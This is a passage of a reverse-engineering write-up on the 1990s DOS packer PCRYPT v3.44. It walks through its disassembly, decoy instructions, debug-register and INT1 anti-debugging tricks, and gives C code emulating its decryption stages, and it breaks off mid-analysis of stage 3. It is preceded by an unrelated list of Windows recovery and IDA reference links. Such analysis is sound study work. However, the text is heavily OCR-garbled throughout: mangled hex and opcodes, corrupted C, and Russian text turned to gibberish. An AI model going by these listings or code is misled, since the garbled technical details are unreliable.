->https://www.anoopcnair.com/windows-autopilot-in-depth-processes-part-3/

4.-WinPE additional information (Used some of them for debugging particular important components):
->https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-vista/cc721977(v=ws.10)
->https://oofhours.com/2020/12/03/windows-pe-startup-revisited/

->UPDATE: It seems @gerhard_x was able to find a way to debug WIinRE easier with LiveCloudKD
https://twitter.com/gerhart x/status/1614708016049278978/photo/1

5.-Source for the image used for finding the different modules:
https://answers.microsoft.com/en-us/windows/forum/all/after-running-wsresetexe-this-shows-up/53e9e168-0465-
43f4-ba81-4fc77b0a871c



https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/push-button-reset-overview?view=windows-11
https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/push-button-reset-overview?view=windows-11
Reference: https://hex-rays.com/blog/igors-tip-of-the-week-54-shifted-pointers/ 
https://github.com/dblock/msiext/blob/master/externals/WinDDK/7600.16385.1/inc/atl71/atlsimpstr.h 
https://github.com/dblock/msiext/blob/master/externals/WinDDK/7600.16385.1/inc/atl71/atlsimpstr.h 
https://www.hex-rays.com/products/ida/support/idadoc/1691.shtml 
https://www.anoopcnair.com/windows-autopilot-in-depth-processes-part-3/ 
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-vista/cc721977(v=ws.10) 
https://oofhours.com/2020/12/03/windows-pe-startup-revisited/ 
https://twitter.com/gerhart_x/status/1614708016049278978/photo/1 
https://answers.microsoft.com/en-us/windows/forum/all/after-running-wsresetexe-this-shows-up/53e9e168-0465-43f4-ba81-4fc77b0a871c
https://answers.microsoft.com/en-us/windows/forum/all/after-running-wsresetexe-this-shows-up/53e9e168-0465-43f4-ba81-4fc77b0a871c
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Decrypting PCRYPT: Self-Curing Insomnia
Authored by gorplop@sdf.org
.section .greetz

.asciz netspooky, everyone at vxug,
and of course MERLIN themselves

While going through various old tools | collected, | found a DOS COM file. | was curious on how it works, so |
opened it in a disassembler. The file turned out to be an encrypted program, which decrypts itself in memory prior to
execution. | decided to read through the assembly to find out what exactly it does.

The program contained the following message that could be read when opening it in a hex editor:

PCRYPT v3.44! Fast, c001 Com&ExeCryptor

UnPackable! :)
U try 2 unPack iT! :)

(C) MERLiN 1996-1997

Origin: |AVK BBS|Work Time: 23:00-07:00
+7 = XXX=XXX=XXXX

On AvK bB$ U can |eVERYdAY!|get the
Latest Version of PCRYPT!
Call & Enjoy!

(BBS phone number redacted because it surely does not work anymore.)

The utility was clearly protected from reverse engineering. | wanted to understand how it works, to rewrite it for a
modern OS, so | started cracking the PCRYPT packer. I've noticed that the code contains parts that do not make
sense at all, and parts that make sense but are riddled with decoy instructions that do not do anything. The code
also looked handwritten. | decided to take the challenge posed by the author and try to recover the original code
that was “encrypted”.

| used radare2 to disassemble the code, and wrote my own C programs that emulate the subsequent stages of
unpacking. This way, | could study the code contents as they were in memory after each stage was done.

As you will see, the code employs many anti-RE tricks of the era that prevent dynamic analysis, or even simple
debugging. In fact, running this COM file crashes my QEMU VM. Because of this, all of my work was done as fully
static analysis.

| chose the r2 disassembler because of it’s feature of starting disassembly from the current view position, which
prevents it from being confused by the encrypted code. Ghidra and IDA are ok for this too if you manually mark
what is code and what is not. All my work was done on disassembly. Decompilation is futile, as the code has not
been generated by a compiler and the dummy instructions clutter up the resulting decompiled C code. There are
little to no functions in the code too.

PCRYPT was a utility that protected your code from debugging and reverse engineering. Here’s a posting from
gHOST Station BBS file list that gives a list of features that PCRYPT v3.44 has:



PCRYPT-encryptor of COM and EXE-files!
* Works fast.
* Small size.
* Protects from debugging.
* Written fully in assembly.
Tested against the following programs:
[... list of tools ...]

Also causes failure under ALL debuggers that use int land int 3. Additionally PCRYPT
will collide with debugers running in 386 mode, because from time to time it
overwrites registers dr@ - dr3.

PCR344U.RAR 13400 23-08-97 + + PCRYPT v3.44 +-+

I
I
BoicTpo paboTaer. |
Hebonbuwown pa3mMep.
3awmTa OT OTNafKu.
MonHocTbio Ha Accembnepe. |
I

E E E E

PCRYPT npoBepeH Ha CTOWMKOCTb |
CO crepywwuMmM Npor paMMamu : |
UUP v1.4; |
TSUP v1.6; |
UPC v1.03; |
Intruder v1.20, v1.30; |
CUP386 v3.0, v3.2, v3.3, v3.4 ;-)|
XPACK -UX v1.49, v1.66-v1.67.k; |
AutoHack v4.1, II v1.0, II v1.2; |
TD386, |
DosDebug;
Insight v1.01; |
Axe-Hack v2.3;
SoftIce v2.80; |
Meff 18-03-1996;
D(Alf) 1.0 Betta;
MegaDebugger v1.00; |
AVPUTIL v1.0b, v2.1, v2.2; |
DeGlucker v0.03, v0.03a, v0.03b; |
I
I
I
I
I
I
I
I
I

L £ ccccccccccccccc

A Takxe He pabotaetr nopmp BCEMU
oTnagynMkamu, ucnonb3ykowmmm int 3
m int 1. Takxe PCRYPT 6ypneT Me-
watb paboTaTb OTnMagyukaM, pabo-
TalowMM B 386 pexuMe, T.K. OH
BpeMA OT BpPEMEHM YHUYTOXaeT Co-
LEPXMMOE OTNafjo4YHblX  PerucTpos
dro - dr3.

| Copyright (c) 1996-1997 by MERLiN.
| Hatch by Michail A.Baikov (/1305)
: [ 20 Aug 1997 ]-

4+ —_——



There is an unpacker available for PCRYPT -- so the encryption scheme has been cracked. It is simple anyway. But |
think it is really interesting to fully understand the encryption implementation, as well as the anti-reverse engineering
tricks that were employed in the 386 era. As a side note, the same BBS lists release v3.45, that was published only
12 days after the one used in this file...

But let’s not get ahead of ourselves, and instead, dive into the binary.

Stage /}
N
=

The COM file starts with a jump to what | will call “Stage 1”. It’s listed on the next page. This is what you would see
when you open it in a disassembler.

0000:0100 €93705 jmp 0x63a

| ... large blob of data ...

0000:063a 7b00 jnp @x63c

0000:063c 6685c9 test ecx, ecx

0000:063f 6a00 push @

0000:0641 88d2 mov dl, dl

0000:0643 81020000 or word [bp + sil, ©
0000:0647 e80000 call 0x64a

0000:064a 7500 jne @x64c

0000:064c 8172070000 cmp word [bp + si + 7], @
0000:0651 84c0 test al, al

0000:0653 665a pop edx

0000:0655 7900 jns @x657

0000:0657 81c26000 add dx, 0x60

0000:065b 0f23c5 mov dr@, ebp

0000:065e 7d0o0 jge 0x660

0000:0660 2e670112 add word cs: [edx], dx
0000:0664 89d2 mov dx, dx

0000:0666 2e6781020400 add word cs:[edx], 4
0000:066C 801300 xor bl, @

0000:066f 81330000 xor word [bp + dil, ©
0000:0673 81c20400 add dx, 4

0000:0677 89c¢9 mov Cx, CX

0000:0679 2e678a0a mov cl, byte cs: [edx]
0000:067d 80e9b2 sub cl, 0xb2

0000:0680 7900 jns 0x682

0000:0682 fodl not cl

0000:0684 80700d00 xor byte [bx + si + oxd], @
0000:0688 80cle2 add cl, 0xe2

0000:068b 81830e410000 add word [bp + di + 0x4foe], 0
0000:0691 56 push si

0000:0692 5e pop si

0000:0693 808511fe00 add byte [di - @xlef], ©
0000:0698 7300 jae 0x69a

0000:069a 2e67880a mov byte cs:[edx], cl
0000:069e 6685c0 test eax, eax

0000:06al 84c0 test al, al

0000:06a3 7900 jns @x6a5

0000:06a5 42 inc dx

0000:06a6 7b00 jnp 0x6a8

0000:06a8 81fa4603 cmp dx, 0x346



0000:06ac 75c¢9
0000:06ae 42
0000:06af 3d3c75
0000:06b2 8d29
0000:06b4 93
0000:06b5 74ab

jne 0x677

inc dx

cmp ax, 0x753c
lea bp, [bx + dil
xchg ax, bx

je 0x662

You can notice that it contains some instructions which are valid, but do not change the execution of the program at
all. For example, the numerous jump instructions, with random condition codes, that jump to the next instruction (so
the program flow does not change whether the jump was to be taken or not). Other examples of these decoys are
the multiple mov instructions that move a register to itself or various xor instructions that XOR some location with
zero and others. These instructions are there just to confuse decompilers.

Next is the stage 1 disassembled with all the decoy instructions removed. Let’s analyze how it works.

With decoy insns removed:

i G5 =
;3 DS = 0000
;3 ES = 0000
;3 SS = 0000
0000:063a 7b00
;3 start decryptor
0000:063f 6200
0000:0647 e80000
0000:0653 665a
0000:0657 81c26000
0000:065b 0f23c5
(1) 0000:0660 2e670112
0000:0666 2e6781020400
0000:0673 81c20400
-> 0000:0677 89c9
: 0000:0679 2e678a0a
0000:067d 80e9b2
0000:0682 f6d1l
0000:0688 80cle2
0000:0691 56
0000:0692 5e
0000:069a 2e67880a
0000:06a5 42
0000:06a8 81fad603
H 06aa 4603
-< 0000:06ac 75c¢9
(2) 0000:06ae 42
0000:06af 3d3c75
0000:06b5 74ab

0000 for what we care (points at program)

jnp @x63c

push @
call 0x64a

edx

dx, 0x60

dr@, ebp

word cs: [edx], dx

pop
add
mov
add

add word cs:[edx], 4

byte cs: [edx]

sub cl, 0xb2
not cl

add c1,
push si
pop si

mov byte cs:[edx], cl
inc dx

cmp dx, 0x346

Oxe2

jne 0x677
inc dx
cmp ax,
je 0x662

0x753c

TOS
stack = 00 00
stack = a4 06 00 00
stack = empty; edx = 0000 064a
dx = 0x64a+0x60 = Oxbaa

Write bp to breakpoint 0
cs:edx = 0000:06aa, this
changes the comparison value
at 06a8 to 0ade

Move dx pointer to start of
encrypted code and change
the comparison value
(functional NOP)

Load encrypted byte —> cl
in the first iteration dx
points to (2), where the
‘encrypted’ code starts

Mangle cl
Trigger breakpoint if any

Write back

Go to next byte

—> becomes cmp dx, 0a0Qe,

then cmp dx, 0al2

Jump back up

“ENCRYPTED” CODE STARTS HERE

X X X X X X X X
X X X X X X X

Stage 2: 868 demangled bytes

When the DOS kernel loads a COM executable, it does so into offset 0x0100 in some code segment cs. The cs, ss,
ds, and es segment registers are set to the segment that the COM is loaded. For the sake of our analysis, we can



assume that these segments are zero. In most DOS versions si and di are set to 0x0100, but the cs is unknown.
Analyzing real mode code that uses segments is a difficult task to take up with modern disassembly tools. | found
that neither radare2 nor ghidra knows how to deal with this correctly. Later in stage 3, the code will do some tricks
related to the IVT which is physically located in segment 0000. This should not be confused with the 0000 segment
that appears on the disassembily listings. | will try to make it clear. Segmented memory was truly a dark time in x86
programming.

The code above demangles 868 bytes starting at 0x06ae. It uses a clever trick to hide the amount of bytes and the
address that it starts demangling at. The code is riddled with decoy instructions that do not do anything. It also
accesses 32-bit registers in 16-bit mode using the 0x66 and 0x67 operand size and address size prefixes. Let’s go
through the code instruction by instruction:

0000:063f 6200 push @
0000:0647 80000 call 0x64a

The call instruction is used to push the current instruction address to the stack and the preceding push 0 is used to
prefix the value with 0x0000. A call to relative address +0 allows for writing PIC (position independent code) as gives
you the current ip. It also is a decoy instruction, as it transfers the execution to the instruction immediately after.

0000:064a 7500 jne 0@x64c
One of the decoy instructions. No matter if the jump is taken or not, the execution continues at the next instruction

0000:0653 665a pop edx
0000:0655 7900 jns @x657

This loads edx with the value 0000 064a from stack. Now dx contains a pointer to the call instruction. The add in-
struction moves the pointer forward to Ox6aa.

0000:065b 0f23c5 mov dr@, ebp

dr0 through dr3 contain 4 hardware breakpoints for the CPU. This instruction overwrites the first breakpoint with the
current ebp value. By default breakpoints only trigger when the addess matches on instruction execution. This is
controlled by the RWn field in debug register dr7. If the program is running inside a debugger (or more correct, for
DOS, if a debugger is running) then the debugger might have changed the RWO field to trigger the breakpoint on
memory access (write or read/write). This, in conjuction with the push si, pop si pair would cause a memory write at
ebp (the stack is empty at this point) and trigger the breakpoint and confuse the debugger (likely unaware that it's
breakpoint was changed). The push/pop pair is inside the demangler loop which makes it likely that someone who
wants to debug this program would set a memory breakpoint here.

If a debugger is not running, this booby trap has no effect because the default for breakpoints is to trigger on
instruction execution.

0000:0660 2€e670112 add word cs:[edx], dx ; cs:edx = 0000:06aa

This instruction adds the value of dx to the address at dx - it falls in the middle of the compare instruction (at 06a8),
effectively changing the immediate operand of the compare to 0a0e.

0000:0660 2e670112 add word cs:[edx], dx
0000:0666 2€6781020400 add word cs:[edx], 4

The first add instruction increases the immediate operand by 4. The second add changes the value in dx accordingly
which moves cs:edx to Ox6ae. That address is immediately after the jne 0x677, which ends the loop. It's where the
‘encrypted’ code starts.



0000:0679 2e678a0a mov cl, byte cs:[edx] ; Load encrypted byte —> cl

0000:067d 80e9b2 sub cl, 0xb2 ;

0000:0682 fodl not cl ; Mangle cl
0000:0688 80cle2 add cl, 0xe2 ;

0000:069a 2e67880a mov byte cs:[edx], cl ; Write back
0000:06a5 42 inc dx

The main loop consists of 6 instructions that load a single byte from the ‘encrypted’ code, demangle it and write it
back, then increase dx so that cs:edx points at the next byte to be processed.

0000:06a8 81fa4603 cmp dx, 0x346
0000:06ac 75c¢9 jne 0x677

A compare and jump instrucion ends the loop. Note that the comparison immediate operand will be different by the
time it gets executed first because it was changed by the add at 660 and 666. The loop ends “Stage 1” of this
encryptor. When dx == 0x0a12, the code following the loop will be fully demangled and the CPU will start executing
it.

Now that we know the basic operations that stage1 performs, we can make a program that demangles the code.

#define ST2_0FFS (@xbae — 0x100)
#define ST2_LEN 868
#define BUFSZ 4096
main( argc, %k argv)
memory [BUFSZ] ;

count = @;
while(count < ST2_LEN){
b = memory[count + ST2_OFFS];
b —= @xb2;
= ~b;
b += @Bxe2;
memory [count + ST2_OFFS] = b;
count++;

After we compile this program and run it on the com file, it will produce another binary which reflects the

memory contents as they were just after the loop ends the stage 1 payload starts at Ox6ae and ends at Oxa12. We
can open the resulting file in a disassembler and seek to Ox6ae. Note that the COM is loaded at an offset of 0x100,
so we need to load our file to the disassembler at the same offset. In r2, you can pass a second argument to the
open command like this:

[0000:0000]> o past_stagel.bin 0x100

Now we can analyze the descrambled code of stage 2.



Stage 2 starts at Ox6ae. In our analysis, we need to consider the register file contents at the end of stage 1. We can
find them by quickly skimming through stage 1 code:

0al2
0x100 ds = 0x100 si = 0x100 es = 0x100 ch = ?? cl = decrypted byte

7iodx
7 di

Here is the full stage 2 disassembly:

0000:06ae 51 push cx
0000:06af 56 push si
0000:06b0 57 push di
0000:06b1 le push ds
0000:06b2 06 push es
0000:06b3 6200 push @
0000:06b5 1f pop ds
0000:06b6 €80000 call 0x6b9
0000:06b9 58 pop ax
0000:06ba 055500 add ax, 0x55
0000:06bd a30400 mov word [4], ax
0000:06c0 8c0e0600 mov word [6], cs
0000:06c4 Qe push cs
0000:06c5 1f pop ds
0000:06c6 Oe push cs
0000:06c7 o7 pop es
0000:06c8 9c pushf
0000:06c9 58 pop ax
0000:06ca 80ccol or ah, 1
0000:06cd 50 push ax
0000:06ce 9d popf
0000:06cf €80000 call 0x6d2
0000:06d2 5e pop si
0000:06d3 83c667 add si, 0x67
0000:06d6 90 nop

0000:06d7 8bde mov bx, si
0000:06d9 53 push bx
0000:06da e€80000 call ox6dd
0000:06dd 5a pop dx
0000:06de 81c21703 add dx, 0x317
0000:06e2 8bda mov bx, dx
0000:06e4 81c3ee0l add bx, Oxlee
0000:06e8 fc cld

0000:06e9 8bfe mov di, si
0000:06eb b9bb0?2 mov cx, 0x2bb

0000:06ee 33c0 Xor ax, ax



-> 0000:0670
0000:06T1
0000:0673

0000:0725
0000:0726
0000:0728

‘.——< 0000:072a

! 0000:072c
! 0000:072e
gH 0000:0732
‘'—-—> 0000:0734

! 0000:0736
! 0000:0737
! 0000:0738

0000:06T6
0000:0678
‘-< 0000:0679

0000:06d3
0000:06d4
0000:06d5
0000:06d6
0000:06d7
0000:06d8
0000:06d9
0000:06dc
0000:06de
0000:06df
0000:06€0
0000:06el
0000:06e3
0000:06e5

ac

32c4

82100
56
8bf2
3bf3

7508
8bf3
8leeeedl
8bd6
3204

42
5e
c3

fecd
aa
e2f5

lodsb al, byte [sil

xor al,

call ox7
push s
mov si
cmp si

jne 0x
mov

sub si, Oxlee

mov

ah
25
i
, dx
, bx

734
si, bx

dx, si

xor al, byte [sil

inc dx
pop si
ret

inc ah

stosb byte es:[dil, al

loop 0x6

pop bx

pop es

pop ds

pop di

pop si

pop cx

add bx,
mov ax,
dec ax

push ax
push bx
xor bx,
Xxor ax,
retf

fo

0x10
cs

bx
ax

Stage 2 prelude starts with some heavy stack operations. We have to keep track of the stack to have a clear view of
the register file at the end of this stage. I've commented the listing with the stack contents and the stack depth:

0000:06ae
0000:06af
0000:06b0
0000:06b1
0000:06b2
0000:06b3

06
6200

push cx
push si
push di
push ds
push es
push @

; <—-stack—- (amount of words pushed)
XX (1)
01 ?? xx  (2)

01 00 01 ?? xx (3)

01 00 01 00 01 ?? xx (4)

01 00 01 00 01 00 01 ?? xx (5)
00 00 01 00 01 00 01 00 01 ?? XX

This last instruction was quite problematic for me. It is encoded as 6a 00, which is ‘push imm8’ instruction. |
checked it precisely and | have to criticize the Intel Software Developers Manual. This instruction is called “Push
immediate byte”, and you would think that this is what it does. That’s wrong - 386/x86 has no single byte stack
operations. Instead, what this does, it sign-extends the byte to a word and then pushes that. This operation is also
not clearly documented in the pseudocode section for PUSH instruction, as there is no case listed for when operand
size is 8. If we assumed that this pushes a single byte, then the stack contents do not make sense at the end of this

stage.

0000:06b5
0000:06b6
0000:06b9

1f
€80000
58

pop ds
call 0x6
pop ax

b9

~r e e s

ds = 0000
b9 06 00 01 00 01 00 01 00 01 ?? xx
ax = 6b9

stack = 00 01 00 01 00 01 00 @1 ?? xx



0000:06ba 055500 add ax, 0x55 ; ax = 70e

0000:06bd a30400 mov word [4], ax ; Debug interrupt takeover
0000:06c0 8c0e0600 mov word [6], cs ;
0000:06c4 Qe push cs ; 00 01 00 01 00 01 00 01 @00 @1 7?7 xX
0000:06c5 1f pop ds ; ds = 100 ds := cs
0000:06Cc6 Qe push cs ; 00 01 00 01 00 01 00 01 @00 @1 7?7 xX
0000:06C7 o7 pop es ; es = 100 es := cs

; stack = 00 01 00 01 00 01 00 01 ?7? Xxx

Here we can see the “call next instruction” trick again, which lets us save the instruction pointer to the stack. | will
come back to the two mov instructions in a moment. Let’s continue our analysis noting down that the last 4
instructions here set ds and es to the code segment value.

0000:06c8 9c pushf 5
0000:06c9 58 pop ax ; ax = flags
0000:06ca 80ccol or ah, 1 ; flags.TF =1
0000:06cd 50 push ax ; The code here sets the trap flag ——
; int3 is generated after every instr.
0000:06ce 9d popf ; Commit flags

The above code fragment sets the trap flag, which will cause an interrupt (int3) to be generated after the next
instruction (call below).No int3 handler was registered and the default DOS one does nothing. Interrupt 3 is the
debug interrupt (different than Interrupt 1, which was redefined before), so this would cause the program to drop out
to a debugger if it was run inside one. Setting the trap flag will cause the debugger handler to be invoked after every
instruction, which makes debugging harder because the program starts to single step (until you realize it and unset
the TF). It bumps up the skill level necesary to crack this program with dynamic analysis.

0000:06cf €80000 call 0x6d2 ; d2 06 00 01 00 01 00 Q1 00 01 ?? xx
0000:06d2 5e pop si ; si = 6d2

; stack = 00 01 00 01 00 01 00 01 ?? xx
0000:06d3 83c667 add si, 0x67 ; si = 0x739

We see the call-pop-add sequence again, this time to save the current instruction pointer to the si register, then
adjust it by a constant. As we will see in a moment, this constant is the distance between the current ip and the end
of decryption code, so that it points just after the stage 2 demangler, where encrypted stage 3 code resides.

Now the code proceeds to the main stage 2 code. I’'ve commented the listing and will go through it in detail:
;3 Si = 0x739

;3 ds, es segment registers are loaded with the segment COM is resident at (cs)
;3 stack = 00 01 00 01 00 01 00 01 ?7? xx

;—— stage2:

0000:06d6 90 nop

0000:06d7 8bde mov bx, si ; bx = 739;

0000:06d9 53 push bx ; 39 07 00 01 00 01 00 01 00 @01 ?? xx
0000:06da 80000 call 0x6dd ; dd 06 39 07 00 01 00 01 00 01 00 ...
0000:06dd 5a pop dx ; dx = 6dd;

0000:06de 81c21703 add dx, 0x317 ; dx = 9f4

0000:06e2 8bda mov bx, dx ; bx = 9f4

0000:06e4 81c3eell add bx, Oxlee ; bx = be2

0000:06e8 fc cld ; Clear dir flag

0000:06e9 8bfe mov di, si ; di <- si; di=0x739

0000:06eb b9bb02 mov cx, Ox2bb ; cx = 2bb

0000:06ee 33c0 X0or ax, ax ax = 0; al = 00 ah = 00



The above snippet does some final preparations for the decryption loop. We have some more call-pop-add se-
quences to load the dx register with another pointer to what will be one of the keys for the algorithm. cx is loaded
with a constant value that will be used to count the iterations of the algorithm.

Notice the nop instruction at the start of this snippet. | have a feeling the author needed to pad the code by just one
byte? | think there might be some room for improvement here :)

Anyway, off to the decryption code. The registers at the beginning are as follows, with
their functions described:

;5 Regs at start: al=@; ah=0; dx=9f4; bx=be2; si=0x739; di=0x739; cx=2bb;
;3 al — payload byte

;3 ah — rolling key (incremented each byte)

;3 si and di - target r & w pointers

;3 dx — key2 pointer

;3 bx — constant value of @xbe2 (not written)

;3 ¢x — loop counter for loop insn

;3 Main demangle loop: al is the byte operated on. This is a dual XOR routine
;3 First XOR key is sequential from 0.
;3 Second XOR key takes the bytes between 9cc and bba.

-> 0000:06f0 ac lodsb al, byte [si] ; al = payload byte; si++

‘ 0000:06f1 32c4 xor al, ah ; Xor with ah

! 0000:06f3 e82100 call 0x725 ; Call the stage 2 demangle func.
! ;3 st2 demangle function

! 0000:0725 56 push si ; Save si

‘ 0000:0726 8bf2 mov si, dx ; Si <— dx

‘ 0000:0728 3bf3 cmp si, bx ; bx =? dx; dx =? 0xbe2

‘ 73 This clause will set dx to 0x9f4 if dx == bx (dx == 0xbe2)

‘ .-< 0000:072a 7508 jne 0x734

‘o ; This executes if si == bx.
‘o 0000:072c 8bf3 mov si, bx ; Si <— 0xbe2

‘o 0000:072e 8leeeell sub si, @Oxlee ; S1 <— Oxbe2 - Oxlee = 0x9f4
‘o 0000:0732 8bd6 mov dx, si ; dx <- si, dx = 0x9f4

' '—> 0000:0734 3204 xor al, byte [si] ; key2 xor; al "= x(dx)

! 0000:0736 42 inc dx

! 0000:0737 5e pop si

! 0000:0738 c3 ret

! 0000:06T6 fecd inc ah ; Increase key

‘ 0000:06f8 aa stosb byte es:[di], al ; Store decrypted byte

‘—< 0000:06f9 e2f5 loop 0x6f0 ; jmp 0x6f0 if cx— != 0

This is a long snippet but it forms a logical block. Let’s run it down instruction by instruction:

0000:0610 ac lodsb al, byte [si] ; al = ciphertext; si++
0000:06f1 32c4 xor al, ah

First we load a byte from the address in si to the register al. This is our ciphertext byte. si is automatically increment-
ed by the lodsb instruction. Then we xor it with ah. (al <= al xor ah)

0000:06f3 e82100 call 0x725 ; Call the stage 2 demangle function

A call to a subroutine (function) is made. Let’s break the function down:



0000:0725 56 push si ; Save si
0000:0726 8bf2 mov si, dx ; si <— dx

We save si on the stack, then copy dx into it.

0000:0728 3bf3 cmp si, bx ; bx =? dx; dx =? 0xbe2
0000:072a 7508 jne 0x734

;3 This executes if si == bx.

0000:072c 8bf3 mov si, bx ; Si <— Oxbe2

0000:072e 8leeeedl sub si, Oxlee ; S1 <— Oxbe2 - 0xlee = 0x9f4
0000:0732 8bd6 mov dx, si ; dx <— si, dx = 0x9f4

Compare the dx value (which is now in si) with bx. bx is a constant of 0xbe2 (it is not written to in the entire loop).
If the values are equal, the jne is not taken and the dx is rolled back to 0x9f4, it’s original value set at 0x6e2. If the
jump is taken the execution skips to 0x734:

0000:0734 3204 xor al, byte [si] ; key2 xor; al "= x(dx)
0000:0736 42 inc dx

0000:0737 5e pop si

0000:0738 c3 ret

Now out ciphertext byte is xored again, this time with a byte pointed to by si. si still contains the dx value (in either
case of the jump). Then dx is incremented, si is restored by the pop instruction to it’s previous value and the subrou-
tine ends jumping back to 0x6f6:

0000:066 fecd inc ah ; Increase key2
ah, which contains the rolling key value, is incremented
0000:068 aa stosb byte es:[di], al 3y di++

The processed ciphertext byte (which is now cleartext), is stored in es:di, then di is incremented (stosb is a string
operation which does all this in one instruction)

0000:069 e2f5 loop 0x6f0 ; jmp 0x6f0 if cx— !=0
The loop instruction decrements cx and if its not zero the code jumps back to 0x6f0 to process the next ciphertext
byte. Notice that the si and di values at the start are identical, so the code overwrites the ciphertext with the cleart-
ext (it decrypts it in place).

This function can be expressed in C like this:



uintlé_t si = @x739;
uintl6_t di = @x739;
uint8_t key = 0;

uintl6_t key2 = @x9f4;
uintl6_t cx = @x2bb;
uint8_t x;

const uintl6_t bx = @xbe2;

memory[sil; si++;
x ~ key;

if(bx == key2){
key2 = bx - @xlee;
}

X = x ~ memory [key2];
key2++;

key++;

memory [di] = x; di++;
cX—;

} while (cx != 0);

After the function is done, the code will prepare the registers for stage 3. Note that the stack is preserved by the
decryption loop.

0000:06d3 5b pop bx ; bx = 739; stack = 00 01 00 01 00 01 ...
0000:06d4 o7 pop es ; es = 0100; stack = 00 01 00 01 00 01 ...
0000:06d5 1f pop ds ; ds = 0100; stack = 00 01 00 01 ?? xx
0000:06d6 5f pop di ; di = 0100; stack = 00 01 ?? xx
0000:06d7 5e pop si ; Si = 0100; stack = ?? xx

0000:06d8 59 pop cx ; CX = ?7?xx; stack = <empty>

These pop instructions are exactly in reverse order as the series of pushes at 0x6ae, except for the first instruction
(pop bx). They

restore the segment values, di, si and cx registers to their values before stage 2. However the first instruction pops
what was the pointer to the encrypted/decrypted code into bx, so now bx contains the pointer to stage 3 code.

0000:06d9 83c310 add bx, 0x10 ; bx = 0x749
0000:06dc 8cc8 mov ax, CS ; ax = 0x100 (cs not written to so far)
0000:06de 48 dec ax ; ax = Oxoff

The next part is a clever trick to further confuse the hacker who wants to analyze this code. First, a constant of 0x10
is added to bx (which points to the stage 3 code). Then cs is copied to ax, and ax is decremented by 1.

0000:06df 50 push ax ; stack = ff 00

0000:06e0 53 push bx ; stack = 49 07 ff 00

0000:06el 33db xor bx, bx ; bx =0

0000:06e3 33¢c0 Xor ax, ax ; ax = 0

0000:06e5 cb retf ; Pull address from stack and return,

; go to stage 3 entry point

Here the trick happens: ax and bx are pushed onto the stack, then they are zeroed and a far return is executed. The



far return is different from a near return in that it also pulls the new code segment value from stack. This will cause
the code to do a long jump (intersegment jump) to ax:bx. But just a moment ago, these values were changed in a
specific way. The segment was decremented, and 0x10 was added to the offset.

In practice the actual return address did not change. The offset and segment values were changed in a way that the
segment:offset value still points to the same place - this is because how the x86’s segmented memory model works.

In segmented memory model (real mode), the linear address is calculated by shifting the segment address by 4 bits
to the left, and adding it to the offset. This means that increasing the offset by 0x10 (decimal 16) and decrementing
the segment are opposite

operations and the result is unchanged. See the example below:

0x 00ff segment shifted << 4
+ Ox 0749 offset

0x 01739 logical/linear memory address
But this address also maps to 0100:0739:

0x 0100
+ ©Ox 0739

0x 01739

The entry point to stage 3 is at 00ff:0749 (or 0100:0739). But before look there, let’s come back to the two mov
instructions at 6bd and 6¢0, that we skipped, and the code before them. They move two registers into addresses 4
and 6 in the data segment.

0000:06b3 6200 push @ ; stack = 00 00

0000:06b5 1f pop ds ; ds = 0000; stack = <empty>
0000:06b6 €80000 call 0x6b9 ; stack = b9 06

0000:06b9 58 pop ax ; ax = 6b9

0000:06ba 055500 add ax, 0x55 ; ax = 70e

;3 These two lines write ax and cs to the offset and segment fields of the
;3 Interrupt Vector Table INT1. INT1 is the interrupt that handles debugging.
;3 This will cause code at cs:070e to be executed when a breakpoint hits

0000:06bd a30400 mov word [4], ax

0000:06c0 8c0e0600 mov word [6], cs

0000:06c4 Qe push cs ; Set ds = cs and es = cs
0000:06c5 1f pop ds ; (restore es and ds values
0000:06c6 Qe push cs ; for self modifying code)
0000:06c7 o7 pop es ;

The push 0; pop ds pair sets the data segment pointer to zero. In most CPUs, at addresses close to zero there are a
lot of important values. In x86, it is where the Interrupt Vector Table (IVT) resides. The IVT contains 4 byte
segment:offset pointers to subsequent interrupt service routines. Addresses 0000:0004 and 0000:0006 contain the
vector for Interrupt 1, “Debug Exceptions”. This service routine is executed whenever a breakpoint is hit. The
debugger installs it’s own service routine there (that is, writes the segment and offset to it) to take action when a
debug breakpoint is hit. In this stage, the program becomes more defensive about being dynamically analyzed by
hijacking the debugger’s interrupt vector to it’s own code.

INT1 is one of the two debug interrupts for x86. There are two interrupts for flexibility, and for things like debugging
the debuggers. The simpler debug interrupt is INT3, which is made special by allocating a one byte opcode Oxcc
reserved for it (it's the INT 3 opcode). This allows you to place that opcode anywhere in the memory, and because
it’s only one byte, it will never cause a page fault. Software debuggers use it when you place a breakpoint. The other
interrupt is INT1 which is for hardware debugging. INT1 is called by hardware when one of the addresses saved in



4 debug registers (dr0 to dr3) matches the breakpoint conditions set in dr7. This is what lower level debuggers use.
On DOS, the program has full hardware access so debuggers can use either or both mechanisms.

Nowadays user-level debuggers use INT3 because it’s available from userspace - it causes a SIGTRAP on unix
systems, and calls the debug handler on NT (whatever that means, | could not find a definite answer). Hardware
debug is reserved for the kernel and ring O code.

This is the new debug interrupt handler at 70e that is registered by the code at 6db:

0000:070e 6650 push eax
0000:0710 6633c0 Xor eax, eax
0000:0713 0f23f8 mov dr7, eax
0000:0716 0f23c0 mov dr@, eax
0000:0719 0f23c8 mov drl, eax
0000:071c 0f23d0 mov dr2, eax
0000:071f 0f23d8 mov dr3, eax
0000:0722 6658 pop eax
0000:0724 cf iret

It zeroes out all relevant debug registers, which effectively disables all breakpoints and returns to the code. This
interesting

anti-reversing technique impacts dynamic analysis by preventing any (software) debugger from tracing the code, as
the breakpoints set will not hit unless the breakpoint handler is re-registerd by the debugger.

Stage ‘ //

‘.

E—]

Stage 3 starts with more stack operations. It saves all general purpose registers with pushaw, as well as ds and es
segments. It then sets ds to 0000.

; Int 1 at 70e is still active - trap frag is set
; — stage 3 entry point

*kk 0000:0749 fa cli ; Disable external interrupts
0000:074a 60 pushaw ; stack = 00 01 00 01 bpL bpH spL spH ...
0000:074b le push ds ; stack = 00 01 00 01 00 01 bpL bpH ...
0000:074c 06 push es ; stack = 00 01 00 01 00 01 00 01 bpL ...
0000:074d 6200 push 0 ; stack = 00 00 00 01 00 01 00 01 00 ...
0000:074f 1f pop ds ; ds = 0000; stack = 00 01 00 01 00 01 ...

Then, the trap flag is set. At the same time there is an anti disassembly trap set up. The jmp 0x747 skips one byte,
so the instructions are offset. Most disassemblers will choke on this. | had to move the cursor in radare2 to 0x747 so
